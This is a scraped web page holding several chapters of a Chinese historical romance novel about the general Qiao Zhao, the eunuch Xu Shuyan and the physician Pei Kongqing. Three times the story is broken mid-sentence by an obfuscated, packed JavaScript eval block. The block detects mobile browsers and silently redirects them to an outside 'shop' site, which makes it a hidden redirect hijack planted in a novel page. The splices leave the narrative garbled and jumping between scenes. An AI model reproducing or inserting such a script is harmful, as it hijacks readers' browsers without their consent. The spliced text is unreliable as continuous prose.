乔昭没说话,此时已经知道自己中计。目视全场,西戎这边的人数之多,呈碾压之势,恐怕大半兵力都集中在此处。 那意味着乔昭一万兵力,却要抵抗对方几万将士,将会是一场恶战,胜算渺茫。而正面与乔愈年抵抗的敌军却不足五成,若是强攻定能拿下。 但是问题就出现在,早在事先已经商讨以烽火狼烟为信号。若乔昭一直没有信号传出,乔愈年一定会发现事情不对劲,乔愈年那边就会停止主动进攻。 如此这般两边都耽误,那这场进攻将会以失败告终。 “你们是如何得知这个消息的。”乔昭面无表情的看着前方的男人。 男人笑得人仰马翻,仿佛在嘲笑对面的乔昭死到临头了,还在被蒙在鼓里。 他大发善心的回复道: “只许你们安插眼线进入西戎,难道我们就没有人能进你北齐?你们无非就是探听主帅是否离开,事实是确已离开。” 看着乔昭坐在马上的样子,面容冷静,没有一丝害怕和惶恐,仿佛天大的事情她都有办法可以解决。 西戎的将领看见乔昭这个样子就恨的咬牙切齿!她不应该是现在这样的冷静,她杀了西戎多少将士!多少西戎将领死在她的鸣鸿刀下!她怎么可以这么冷静! 五年前乔昭仿佛是横空出世,在战场一鸣惊人!一出场就直取当时对战将领的项上人头,西戎大败!阿尔金.鲁能连夜紧急商讨这个突然出现的新人,才发现对她竟然全然无知。 而现在天道好轮回!乔昭!不可一世的乔昭马上就会败在他的手里!他要撕碎她假装平静的面具,看她跪下来痛苦流涕的求饶。 他仰天大笑,笑声尽是畅快,仿佛已经预见到乔昭的结局。 “我们西戎现在兵力确实比不过北齐,但那又怎样!”对面的将领拿着剑直指乔昭,满脸狠毒,“只要活捉了你,还愁乔愈年不退兵。” 随后又瞥向乔昭身后的北齐将士,冷冷一笑:“而他们,今天全都得死在这儿!” “你做梦!死老头半只脚都快入土了,口气还这么大!”林珩在乔昭身后已经忍不住怒火了,怒气冲冲就是骂。 对面西戎将领懵了一下,想要用手摸摸脸又忍住了,他还没满四十。 ...... 转念一想,西戎将领阴狠一笑,略带可怜的语气对着林珩:“黄口小儿,现在还有时间呈口舌之能,待会儿就是西戎铁骑下的亡魂。” “乔昭你和我比一场,若是你赢了,我放你们离开。”对面的西戎将领扬声道,顿了片刻,直勾勾盯着乔昭,语气颇为张狂,“若是你输了,你留下,他们都死。” “好。”乔昭简单利落回答道。 ...... 乔昭双腿猛的一夹马腹,疾云迅速向前奔去,扬起阵阵尘土。西戎将领用马鞭狠狠一抽,马儿嘶鸣一声,朝乔昭而来。 鸣鸿刀在日光下闪着冷冽寒光,只见乔昭挥舞着达到,以不可阻挡之势向敌人砍过去,卷起阵阵风声。那人忙用剑横在头顶,抵挡住乔昭这猛烈一击,只听铮鸣一声,刀身和剑身碰撞在一起。 乔昭没有撤退,面无表情继续发力。敌人脸色涨红,额头青筋冒起,仿佛再难支撑住,猛地驾着马后退一大步,乔昭鸣鸿刀落空。 两边的军队都没有动,沉默看着两边的将领缠斗在一起,场面十分寂静,旌旗随风拂动,只余刀剑碰撞之声。 眼见西戎方露出颓势,乔昭继续乘胜追击。她力气很大,一刀下来乔昭游刃有余,而敌人却以力竭。对面的西戎将领心里不住哭天喊地,早知道不逞能了,这下真见识到她的厉害了。 不过乔昭今天必输无疑,他面上忍不住冷冷一笑。 对面的将领提剑上前,出招干脆利落。长剑直直而来,乔昭斜身而过,寒光闪过,剑面映射出乔昭双目凛然。乔昭抬手一把将剑隔开,迅雷不及掩耳之势,高举鸣鸿刀,从敌人头顶向下砍去。 这一刀明显是用了全力,若是被砍中当场毙命都是轻的,可怕的便是从头颅裂开,死状凄惨,再无回天之力。 众人都紧张看着场上的情况,看见乔昭这惊天一招,大家都怔在原地。 而身在刀下的西戎将更是被吓得当场呆住,睁大双目,目眦欲裂,他仿佛已经完全忘记了躲开,看着鸣鸿刀落下。 突然,刀身一歪,疾云猛地扬起前蹄,乔昭身形不稳,瞬间泄力。 疾云表现得十分焦躁不安,不断跳跃疯跑,横冲直撞,坐在上面的乔昭十分颠簸,只能双腿紧紧夹住,狠狠的勒住缰绳,以免被甩下去。 对面的西戎将领看到此情形,立刻知道发生了什么。 他不禁大笑一声,眉眼间俱是得意之色。 “你还不知道吧,这匹马是西戎送给你的大礼!怎么样乔小将军,还喜欢吗?” 他这样一说林珩瞬间就想到了那个养马的兵卒,他果然有问题!原来一切的准备都是为了这儿! “你这个无耻老儿,竟然使出这样的下三滥的手段!你还要不要脸!”林珩怒骂,驾马就想上去将乔昭救下来。 此时疾云已经口吐白沫,泛着白眼,吐着舌头,四肢也渐渐没了刚开始的矫健有力,这样的好机会,西戎将领必须要抓住!他驾马冲上前去,提剑刺向乔昭,乔昭处于弱势只能挥刀抵挡。 一击不中,那人又是挥剑向乔昭砍去,利剑靠近脖颈,竟想将乔昭的头砍下来!乔昭低身躲过,猛地起身,脚尖在马背上狠狠一点,借力腾空而起。马儿受此力度轰然倒地,四肢不停抽搐,再也爬不起来。 “找死!”乔昭凝声道。 看到乔昭一跃而起,整个身影将他笼罩其中,仿佛被如常索命的滞涩感油然而生,让人脊背发凉。 西戎将领狠狠一夹马腹,简直用了全部的力气,马儿吃痛嘶鸣一声,猛地将前身扬起,前肢精瘦有力,狠狠蹬向乔昭,踹在乔昭胸口上,乔昭猛的摔下去,倒在几米远。鸣鸿刀也脱手而出,落在一旁。 “乔昭!”林珩看到乔昭落下马,大吼一声,立马冲过来! 那西戎将领瞥向奔过来的林珩,向后挥挥手:“拿住他。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857442|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习惯乔昭离得这样近,稍微往后仰了仰头:“乔昭,你不会站在我的对立面的,对吗?” 乔昭顿了一下,收了笑,直起身子,不动声色问道:“掌印何以见得?乔昭可从未给过任何保证,恐怕掌印会错了意。” 乔昭自然向徐纾言承诺任何的事情,她很清楚自己后面代表了什么,也很爱惜羽毛,所以从不会轻易站队。 徐纾言沉默的抿了抿唇:“乔昭,我不求你入我麾下。但有一点。” 他顿了一下,语调郑重:“望你日后,不要与我兵戎相见。” 乔昭闻言,笑了:“莫非掌印日后,要行大逆不道之事,现下来讨要一个承诺?涉及到江山社稷,乔昭可没有这么大权利。” 她笑语晏晏,可是话里话外都是试探,避重就轻。 这不废话吗?徐纾言身边血雨腥风,指不定哪天就倒台了,若是上面的人要他命,给乔昭几个胆子,她都不敢违抗圣旨。 “我只要求你中立,不要掺和进来,不要站在我的敌对面。”徐纾言直勾勾盯着乔昭,说道。 徐纾言没办法跟乔昭坦白,未来要做的事。也不想将乔昭拉入这样暗潮涌动的漩涡中。昌敬王府速来都是中立的,再加上乔愈年多年来都在外征战,朝中之事,甚少参与。 他知晓自己方才所言,简直是在强人所难,任何人都不可能如此莽撞的答应。 可他还是很直白的提了出来,似乎确定乔昭不会拒绝他。 就好像恃宠而骄。 乔昭低头,抽回自己的手,转身离开。 只留下一句:“掌印歇下吧,今夜有些晚了。” 她没答应,也没拒绝。 泼墨的夜,连知了都不再嘶鸣,唯余一片静谧。 ……………………………… 徐霁发现了血迹,一下子振奋精神。或许之前徐纾言的生死不明,让他内心总是高悬一块巨石,惴惴不安。 但现下发现的血迹,让他的苦苦追寻有了一丝慰籍,至少是有些痕迹的。 他在那片浅滩认真搜寻,随后向林子中走去。徐淮虽然对外性格不收敛,脾气十足的大。但是他办事十分谨慎细心,连路边的任何一颗草木,他都没有放过。 刚刚的血迹仿佛是昙花一现,广阔的森林里再没有任何痕迹。或许那根本不是掌印留下的,或许是路过的动物。有很多种可能性。 但是徐淮不想放弃,他仍然在林间穿梭寻找。 一颗从小小的灌木引起了徐淮的注意,他停了下来,紧紧盯着枝条上一处不显眼的地方。 两条直线汇集在一个点上,指向东南方向。 是徐纾言留下的暗号! 所有的担惊受怕在这一刻落到实处,掌印还活着,他留下了暗号。 徐淮跟着徐纾言留下的暗号,来到了杏花村里。他没有大张旗鼓的进去。他将几名净军分散开来,不至于引人注意。 最后他们停在了裴空青的院子门口。 他做了个动作,几名净军迅速将这个院子包围。 徐淮站在门外,深呼一口气,随后敲了敲院子的门。 “吱呀”一声,院门打开了,出来个小姑娘,警惕的看着一身黑的徐淮。 软声问道:“你找谁?” 乔昭似有所觉,从屋里出来,走到院门口。 两人目光交汇。 38. 第 38 章 猝不及防,乔昭出现在了徐淮的视野中。 那场暗杀,最后是乔昭护送徐纾言离开的。后面根据现场的痕迹,也不难猜出乔昭也和徐纾言一起坠落山崖。若是乔昭都还活着,那么徐纾言存活的几率十分大。 徐淮愣了一下,随后猛然将院门推开,急匆匆的往里闯。他面色看起来冷冰冰的,但是动作十分急促,与乔昭擦身而过的时候,甚至差点撞到她。 乔昭稍微让了让身,没有跟上去。 她很有分寸,不会过多参与徐纾言的事情,尤其是徐淮是徐纾言的亲信。 “掌印......”徐淮站在门口,踟蹰着不敢上前。 徐纾言此时正靠在榻上,他躺着总是不舒服,便让乔昭将他扶起来坐着。 听见外面的声响,徐纾言转过头看向门外,正好瞧见徐淮饱风尘仆仆的身影。他应该是很久没有休息了,整个人都显得有些憔悴,但是又梗着一口气,不肯停下来。 “掌印......”徐淮又前进了一步,声音有些哑,梗在嗓子里含糊着说出来。 徐淮的双眼都有些红,他不是一个爱哭的性子。有徐纾言撑腰,他大多数在外都是嚣张跋扈的样子。 一时间,两人相顾无言。 乔昭见徐淮一直站在门口不进去,还以为徐纾言出了啥事。一进去就看见主仆二人两两相望。 徐纾言还好,眼尾有些红。徐淮这么大块头,体格又健壮,红着眼眶眼泪都快掉下来了。 怎么看,怎么令人幻灭...... 乔昭很努力才忍住脸上翻白眼的表情。 最后还是没忍住,踏进门,语气揶揄道: “你们主仆俩是在演苦情戏吗?演到哪一出了,乔某有幸观赏吗?” 屋里感人的氛围瞬间被打破,徐纾言淡淡瞥向乔昭。 眼神有点娇。 徐淮听到乔昭的话,脸色一僵,脸色爆红,迅速收了泪,手里的鞭子够快戳到乔昭的脸上了,气急败坏的瞪向乔昭:“你今天非要找死是吧?!” 乔昭轻飘飘推开眼前的鞭子,往屋里走去。她也不怕,知道徐淮就嘴上不饶人,真要打起来。 他也打不过的。 ...... 徐纾言前几日断言,净军会在两日找到他。现下看来确实分毫不差,他十分了解自己手下的人。 因为徐淮的到来,事情的进展快了一大步。 徐纾言伤在右肩,所以只是右手暂时不太灵活,回京做马车这些问题都不大。 徐淮刚开始心情太急迫,没注意到徐纾言肩上的伤,待裴空青进来给徐纾言换药的时候,才发现徐纾言右肩伤口如此狰狞。 一瞬间,他的脸就阴沉下来,沉声道:“为何会有这么严重的伤口?!你是怎么护着掌印的?” 这话明显是对乔昭说的,他对此非常不满意。 乔昭看他又要找事,有些忍不住手痒了。自从他找到徐纾言以后,完全就是一个毒唯的状态。这里也不满意,那里也不满意。 一会儿说怎么让徐纾言住这么简陋的地方。 一会儿说给掌印的吃食太过于质朴。 一会儿说为何吃药的时候不备上蜜饯。 把这里批判得一无是处,就好像徐纾言在这里遭了多大难一般,很是尖酸刻薄的样子。 裴空青在旁边听得脸都黑了,她很有风度,也不擅长跟别人吵架,只能深深呼吸,默默忍了。 没人阻止他,徐淮说得更起劲了。 徐纾言换了药,刚刚把纱布揭开,伤口粘连在一起,所以撕开的时候,让他疼得皱起眉头。 他下意识想要去抓那片熟悉的衣角,但是抓了个空,修长的手指落到被子上。自从徐淮找到他以后,乔昭就离他比较远。以往徐纾言换药的时候,乔昭都是在他身边,他只要一伸手,就能紧紧拽住她的衣角。 说不上心里是失落还是背的情绪,徐纾言只感觉心上很堵,闷得慌。他缓缓抬眼看向乔昭方向,不期然两人目光交汇,徐纾言才发现乔昭一直在注视着他。 徐纾言忙又低下眼睫,与乔昭错开视线。 乔昭微微勾起唇角,笑了下,没说什么。 有暧昧掺杂在空气里,令人有些目眩神迷。 这样的小插曲,当然没有引起徐淮的注意,他还在絮絮叨叨的吐槽。徐纾言收回神,才注意到徐淮已经引起众怒了。 “安静些。”徐淮语气温温和和,但是字里行间的冷意都快盖不住了,隐约能窥见昔日在宫里九千岁的威风。 徐淮一下没了声音,小心翼翼的看着徐纾言的表情,见他冷着一张脸,徐淮更加不敢讲话了。 活像一只拔了毛的鹌鹑。 ------------------------------------- 换了药以后裴空青没有多呆,转身准备出门。 在转身的瞬间,裴空青与乔昭四目相对,她的眼神复杂难言,似乎有话想跟乔昭说,又难以启齿,最后还是说不出口,面色凝重,抿唇走了出去。 乔昭望着她离开的背影若有所思,她又不是瞎子,当然能看清楚裴空青眼中的挣扎。只是不清楚她会有什么难言之隐。 徐纾言换了伤以后,徐淮便开始给他汇报最近的事情。 “圣上得了消息,当即便派了羽林卫来寻您。但是一直没有寻到您的踪迹,朝廷里都在传掌印凶多吉少。” 他跌落山崖这几日,朝廷里简直闹翻天,皇帝派了很多人来找他,但是派来的人,看到如此高的悬崖,都默认了徐纾言可能生死难料。 多数朝臣都面上表示可惜,但是心里有几个真的难过,就真的难说了。 徐纾言不置可否,示意徐淮接着说。徐淮突然闭上了嘴,空气里一时陷入安静,乔昭和徐纾言双双望向徐淮。 徐淮却将眼神瞥向一旁呆着不走的乔昭。 她这么没自觉的?没看见他正在说机密吗? 他阴恻恻的看向乔昭,眼神里只有一个意思,让她赶快滚。 乔昭哪能不懂他的意思,但她就是不想看他如意。她展颜一笑,给自己倒了一杯茶,轻啜一口道:“掌印都没赶我走呢,你算老几。” 徐淮气得站起身来,指着乔昭的手都有些颤抖,然后猛地转头看向徐纾言,看样子是必须要给个公道。 徐纾言抬眼望向乔昭脸上的笑容,有些刺眼。她一直喜欢看徐淮吃瘪,每次两人见面都要争执不休。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872672|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔昭乐此不疲,似乎很乐意这样做。 徐纾言脸色渐渐冷了下来,眼神在他们二人之间转了一圈。 他扯了扯嘴角,语气凉凉道:“乔都尉此次被牵扯进来,她有权知道现在的情况。” 徐纾言的话说的很客观,似乎没带什么私人情绪。但是在座的另外两人很明显的感觉到,徐纾言的心情突然变得很糟糕。 好像哪句话突然就惹他不高兴了。 徐淮这下不敢耍宝了,低着头,事无巨细的汇报这几日的情况。 “那次暗杀之人都是死士,原想抓住几人留下口供,没想到他们在牙齿里藏了毒,被抓住后立即服毒自杀了。” “无一活口。” 乔昭这下抬起头,望向徐淮,正色道:“我带的五千定北军活下来几人?” 当时情况紧急,她迫不得已只能护送徐纾言离开,当时大多数将士已经被毒倒,这是非常大的伤亡。 “伤亡微乎其微。”徐淮回答道。 “什么意思?”徐纾言凝声问道。 徐淮恭敬回答道:“当日掌印离开后,本以为会是殊死一战,未曾想几炷香后倒下的将士竟然缓缓醒过来。因此净军和定北军的伤亡并不大。” 那日虽然惊险,那架势恨不得将徐纾言一行人全部屠尽,不留一个活口。没想到下的药只是加强版蒙汗药,竟然没有伤人性命。 “所以他们不想滥杀无辜,目标只有掌印一人。”徐淮下了结论。 “有可能是不敢。”乔昭悠悠说道。 徐纾言清凌凌的目光望向乔昭。 乔昭继续说道:“当时大军已经接近中京,毕竟在北齐境内,若是一万人齐齐死了,这是动摇江山社稷的事情。” “无论上面的人怎样想,这件事情都必须追究,才能缓解百姓的恐慌。” “因此那人不是不肯滥杀无辜,而是不敢如此冒险。”乔昭放下手里的茶杯,眼神中泛着冷意。 她人都还没回中京,就被牵扯进来,差点丧了命。乔昭可不是那等大度之人,任他人踩在自己头上拉屎。 接下来三人又商讨如何离开的事情。最后决定明日再离开。 一则是现下,徐纾言被刺杀之事人尽皆知,引起了皇帝的震怒。已经打草惊蛇,他们没胆子再暗杀他,只能重新找机会。 二则是徐淮一找到徐纾言踪迹以后,就像徐霁发出了信号。他会快马加鞭从上游过来,需要一点时间。 再就是徐纾言身上有伤,昨日才缝合,今日需要修养一天。 商讨结束后,徐淮留在了徐纾言屋里,他现在守着徐纾言一刻不离。 乔昭走出门去,裴空青就站在院子里。离得不远不近,既不会靠太近,让人觉得冒犯。又没有靠太远,乔昭一出门就看见了她。 她还是以那样复杂纠结的眼神看向乔昭。 乔昭知道裴空青有话要说,毕竟她这次收留乔昭和徐纾言。因此乔昭还是走上前去,她不喜欢欠着人情。 “裴郎中有何话但说无妨,乔昭若是能帮得上忙的,定会竭尽全力。” 裴空青盯着乔昭,似乎在考虑她是否可信。 良久,裴空青柔和问道:“我能和乔姑娘同去中京吗?” 39. 第 39 章 随着一场秋雨的落下,接下来的两天,都变得更加凉爽,天气晴朗,万里无云。 徐霁到来以后,就开始启程。他已经知晓徐纾言受了伤,于是来的时候紧急唤了辆马车前来。现下已经停在了裴空青的院门外。 徐纾言没带什么东西走,这里的东西说到底还是太过于简陋。以往在中京,这些东西甚至都到不了徐纾言的面前。 徐霁徐淮跟在徐纾言身后,乔昭慢悠悠的跟在他们后面。身边还有裴空青以及她的小药童。 昨晚乔昭已经跟徐纾言说了此事,裴空青想和他们一同前往中京,徐纾言对此事没有异议。 裴空青不似乔昭他们两手空空,她在这里住了好多年,院子里的树,黄了又绿,细数光阴流转。她收拾的东西很多,尤其是她房间里的医书,就装了好几个箱子。 从昨晚她已经开始整理行李,昏黄的烛光将屋里照亮。裴空青将书一本一本装在箱子里,动作小心翼翼,眼里都透露出珍惜。她翻了翻书,里面有很多批注,上面的字矫健有力,与裴空青婉约清秀的字体全然不同,明显是个男人的字。 裴空青用手轻轻摩挲上面的批注,脸上露出留恋之情。 她的小药童在旁边收拾些零碎的物件,小姑娘年纪还小,一下子要离开居住了这么久的地方,十分舍不得。嘟着嘴,泪眼汪汪的样子,看得人心软。 小药童是裴空青和母亲回到杏花村的的路上捡到的弃儿,看着实在小,就三四岁的样子,孤苦伶仃的在路边乞讨要食。裴母看到,心酸的不行,忍不住鼻酸。 虽然当时母女俩自身都是风雨飘零之际,还是将小药童抱养回了家。后来得知其实小孩子已经五六岁了,竟然看着如此瘦小,裴母还抱着小药童结结实实哭了一场。 杏花村是母亲幼时长大的地方,遇见裴父以后,便和丈夫一直居住在中京,再没回来过。裴父身死后,裴母日日郁郁寡欢,以泪洗面,整个人都消瘦不少。后来某一天,裴母从过往回忆中抽离出来,擦去泪水。想到女儿年幼,自己不能如此郁郁度日,要振作起来。 丈夫身死,让裴母意识到,中京就是个吃人的魔窟,无权无势只会被啃食殆尽。她不愿让女儿再走父亲的老路,于是举家搬离了中京,回到杏花村。 在杏花村,裴空青度过了较为单纯的一段时间,每日和山野为伴,和医书为伴,与母亲和小药童三人相依为命。裴空青自小医术了得,到了杏花村,偶尔给村民治个头疼脑热,迅速在村里扎下根。 就这样日复一日,年复一年,裴空青已经成长为可以独当一面,十里八村有名的裴郎中。 裴空青以为这样的日子会一直过下去的,直到有一日,裴空青在接诊,有一个村民面色焦急的跑来,大喊道: “裴郎中,你母亲掉进河里了!” 裴空青倏然站起身,不管不顾的往河边跑去。她还记得那日不知为何,路怎么这样远,怎么跑也跑不到河边。去往河边的路,怎么会那样难走,到处都是荆棘坎坷,将她绊倒,让她不能去到母亲身边。 等裴空青赶去河边的时候,岸上已经围了很多人了。隐约能从人群的空隙中看见躺在地上的人影,穿着姜黄色的衣袍,看着明亮又温柔。 是母亲在中京最爱穿这样颜色的衣物,因为裴父裴母第一次相见时,裴母就穿着姜黄色的布绢衣。 裴空青一时不敢上前,害怕看到母亲的脸。人群中有人看见了裴空青,七嘴八舌的。 “裴郎中来了!” “裴郎中来了!” 裴郎中来了...... 人群分开一条道,裴空青不知道自己是怎么走上前去的,麻木的向一具没有灵魂的傀儡。 裴空青低头看向母亲青紫的面容,她是一个温柔的女人,声音轻柔,脸上挂着温和的笑。裴空青与她有几分相似。 哪怕是在父亲死后,最艰难的几年,裴母都未曾向裴空青透露过痛苦绝望。她总是掩上门在夜里悄然落泪,在面对裴空青的时候又是温和婉约的笑容。 父亲死后,裴空青再也没见过母亲穿姜黄色的衣物,她穿得更加低调,十分沉闷的颜色,像是没有爱的滋养,逐渐凋零的清秀茉莉。 裴空青惊觉母亲竟然瘦了这么多,那件压箱度多年的姜黄色布绢衣再次穿在她的身上,竟然显得空荡荡的。 母亲近一两年,确实有些精神恍惚,裴空青知道父亲亡故对母亲打击很大。创伤不可磨灭,裴空青只能多陪伴在母亲身边,将日子过起来。 裴空青一日起夜,发现母亲一个人坐在院子里,孤零零的看着月亮,身影在月光下冷寂又枯败。 母亲似乎出神了很久,连裴空青走至她的身边都没有发现。裴空青将衣服轻轻披在母亲身上,裴母才似有所觉,转过头来,望向女儿微微一笑。 “今日重阳佳节,不知道你父亲在天上可有喝那菊花酒,往日都是我酿,现下都没人喝了。”裴母声音轻轻的,好像会被风吹散卷到天上去。 裴空青不爱饮酒,这一点与裴父截然不同。其他地方倒是像了个七八成,尤其是在医术热爱上,遗传了十成十。 裴母又悠悠开口,声音温柔,又陷在了回忆里:“你父亲就是太过耿直才会被人陷害至此,他为人正直,一心扑在医术上,我以往最是欣赏他这一点,未曾想最后也是这一点害了他。” 裴空青站在一旁,没有说话,她不知道要说什么,好像说什么都是徒增伤悲。 所以母亲早就有了寻死的征兆,只是裴空青从未发觉,已经过去了这么多年,再苦的日子也过来了。 她是郎中,很多病裴空青一眼就能看出问题所在。她看向母亲紧闭的双眼,脸色已经呈现苍白的青紫色,这已经是回天乏力的症状。 裴空青猛然跪倒在母亲身边,她好像突然有了感情,慌乱的摸着母亲冰冷的脸颊,又颤抖着手,去触碰母亲的鼻息。 什么都没有,只剩下一片冰冷。 裴空青脑子一片空白,一遍又一遍按着父亲教导她的急救手法,用在自己的母亲身上。 一炷香,半个时辰,一个时辰,时间一分一秒的过去,人们从刚才的满怀希望,到后面的轻声叹息。 母亲依然没有醒过来。 好像永远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897164|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒不过来了。 但是裴空青不愿意停下来,她是郎中,怎么可能救不了自己的母亲呢? 她是十里八村最有名的郎中。 怎么会救不了自己的母亲呢? ...... 围观的村民不忍心,有些撇开眼不再看,有些捂着嘴低泣落泪,年纪小的孩子,被父母轻轻的捂住眼睛,不去看这人间的生死离别。 裴空青仍然跪俯在母亲身边,她脸色木然,像是流不出眼泪一般,只低垂着眉眼,手里的动作没有停下。一位大婶上前,想要拉住裴空青,已经过去几个时辰了,就是观世音菩萨来了也救不活了。 “裴郎中,没用的,还是将你母亲抬回去下葬吧。” 她想要将裴空青拉起来,裴空青一家在村里孤儿寡母的,大伙对她家都是多有照顾。这下裴母遭此噩耗,裴空青一个年轻姑娘,又怎么会懂这些丧事。 “放手!” 裴空青一把甩开大婶的手,脸色十分难看,眼眶红的要命,好像要流出血来,但是哪怕如此,她也没有落下一滴泪。 树欲静而风不止, ...... 母亲下葬以后,裴空青依然留在了杏花村,小院里更加安静,白日问诊的时候,还有些人气。到了夜晚,只剩下裴空青和小药童,就显得十分孤寂。 裴空青就呆子杏花村,哪里都没去过,她医术那样好,在医术探究上又勤奋,就连村里的百姓都夸赞道。 裴郎中的医术就算是宫里的御医也是比得过的。 可是这样厉害的裴空青,就甘愿留在这样一个小小的杏花村。 ...... 夜晚这样安静,万籁俱寂,只有烛火微微摇曳。小药童已经抵不住睡意,沉沉入睡。裴空青还在收拾自己的书,很多东西她都带不走,唯独这书架上的医书她是要全部带走的。 这些全是父亲的书,当年也是这样一本一本放在箱子里,带到了杏花村。现下又以同样的方式带离杏花村。 她现在还有些恍惚,她真的要离开这个呆了几年的地方。 她看到乔昭和徐纾言的第一眼就知道他们不是普通人。但她起初并未在意,毕竟裴空青救人从不看重家世身份。 但是在给徐纾言把脉的时候,裴空青迅速发现了不正常的地方。这人的脉象明显是无根的男子才会有的脉象,他是从中京来的宦官。太监只有宫里才有,而他穿着如此不凡,又被人追杀,想必是个手里握着权利的太监。 宫里。 ...... 裴空青这一刻,脑子里那根沉默的弦颤动了。 她又想起了那年重阳夜,也是这样晚,皎洁月光洒满大地。母亲拉着她的手,望向她的目光复杂又柔和。 裴母轻轻摩挲着裴空青稍显冰冷的手,缓缓道:“前尘往事,早已过去,母亲只希望你能岁岁无虞。” “空青,就呆在这里吧,不要再去中京了。” 前尘往事,早已过去?可母亲从未过去,她一辈子都陷在回忆里。 父母皆亡,裴空青又怎能岁岁无虞,长安常乐? 40. 第 40 章 回到中京的速度比之前要快很多,之前的跟随的一万将士早已回京,现下在郊外安营扎寨,只等徐纾言到了之后,便开始凯旋仪式。 这次他们东西不多,人也不多。乔昭依然骑马在最前方,她身后跟着三个净军。徐霁徐淮守在徐纾言马车两侧,裴空青的的马车在徐纾言之后,最后面就是十来个精锐净军。 现下虽然离中京进了许多,但是紧赶慢赶也需要两天的路程。 乔昭他们还没走到半路,就听见远方官道上,浩浩荡荡的马蹄声,隐约能听出急切和躁动。 乔昭将手缓缓放在鸣鸿刀上,一拉马缰,停在原地,目光直直看向远方。 徐霁徐淮也停下,面色戒备,紧紧捏着武器,若有事故突然发生,也能第一时间应对。 官道上的马蹄声越来越近,声响如闷雷阵阵,气势磅礴,想必是来了不少人。 最前方驾马之人,身穿右衽金丝御衣,身披铠甲戎装,肩上是鎏金狮虎头肩吞,头戴雕花铜冠,身材挺拔,剑眉星目。 他坐下所骑的棕色骏马,是从昭苏特贡的马匹,昭苏天马以其体格高大,体质结实,性格温煦而闻名,这样特贡的马匹较为稀少,只有王孙贵族被赏赐才有。 那人驾马疾驰而来,眼看快要冲撞到乔昭一行人的队伍中,才堪堪停下。扬起的尘土直冲乔昭面门而来,连身后的徐霁徐淮都受到波及。此人丝毫不顾忌是否会冲撞到他人,行为十分放肆大胆。 他离乔昭仅半米远,斜睨着眼神,都没向乔昭投去半分,明显未把乔昭放在眼里,只是看着马车。 或者是说,在看马车里的人。 只有主子才配坐在马车上,其他人不过是随从或者镖师。 他身后带着羽林卫,墨黑色的里衣用金丝勾勒出花纹,端的是一个华贵又低调,在北齐,羽林卫作为禁军,直辖属于帝王,只有帝王才有命令他们的权利。羽林卫一般由王孙贵族或者朝廷重臣子嗣组成。 正因如此,羽林卫中有许多家里的二世祖,不学无术,家里长辈为他寻个差职,不至于四处闲荡无所事事,丢了颜面。 最好的方法就是送到羽林卫来镀金。 羽林卫为首之人,气势更加盛气凌人,高高在上。他看着估摸跟乔昭差不多年纪,还是年轻小子,光是刚刚的所作所为已经能透出几分嚣张跋扈的感觉了。 两方人马对峙而立,乔昭立在最前面,气氛有些紧张, “尔等何人,见到羽林卫办公,还不速速让开!”为首之人率先发问,语气十分傲慢。 现下他们都处在一段较为狭窄的路,乔昭一行人先走到这里,再走几步就能豁然开朗,但这群人非但不让,还堵在路口,让乔昭一行人既退不了,也出不去。 很是霸道,蛮不讲理。 乔昭忍不住一笑,眼神却冷冰冰的:“哦?原来是羽林卫,我还以为是山里跑来的山贼,看着贼眉鼠眼的。” 那人脸色一黑,拔刀对着乔昭:“牙尖嘴利!你知道你刚才的那几句话,已经够你死几次了吗?” “羽林卫如此嚣张跋扈,天子脚下也是想杀就杀,视人命如草芥,好大的官威!”乔昭凉悠悠的反驳。 “呵......我看你真是活够了,连羽林卫都敢编排了。”为首之人身后的羽林卫纷纷将刀拔出,对着乔昭一行人。 乔昭岂是那种会被吓到的,她上过战场,见识过战争的刀光剑影,硝烟弥漫,哪里会被中京这些金玉其外的绣花枕头吓到。 她大概已经知道皇帝将羽林卫派来是何意。 现下已经临近中京,羽林卫又是皇帝的人,派他们来最重要的原因还是为了保护徐纾言。 但是很明显他们不知道徐纾言就在他们面前。 “喂!你叫什么名字?说出来我听听呢?”乔昭笑眯眯的,拿着鸣鸿刀指着为首之人的鼻子,十足的讽刺意味。 那人脸色彻底冷下去了,一把推开面前的鸣鸿刀,阴沉道:“我怕你没命知道你爷爷的名字!” 羽林卫为首之人提着刀上前向乔昭砍过来,他还是有几把刷子,出手虎虎生风,刀锋凌厉,不全是一些花拳绣腿。 不过他遇到的是乔昭。 是那个让西戎敌军都闻风丧胆的乔昭。 乔昭也没想跟他认真打,毕竟又不能真将人杀了,搞不好以后还要一起共事,抬头不见低头见的。乔昭只想给他一个小小的教训。 年轻人,还是不要太张狂。 乔昭提刀抵挡,那人刚开始出招不见得是死手,但是乔昭每招都能游刃有余的接住,甚至还能在对战间隙嘲笑他。 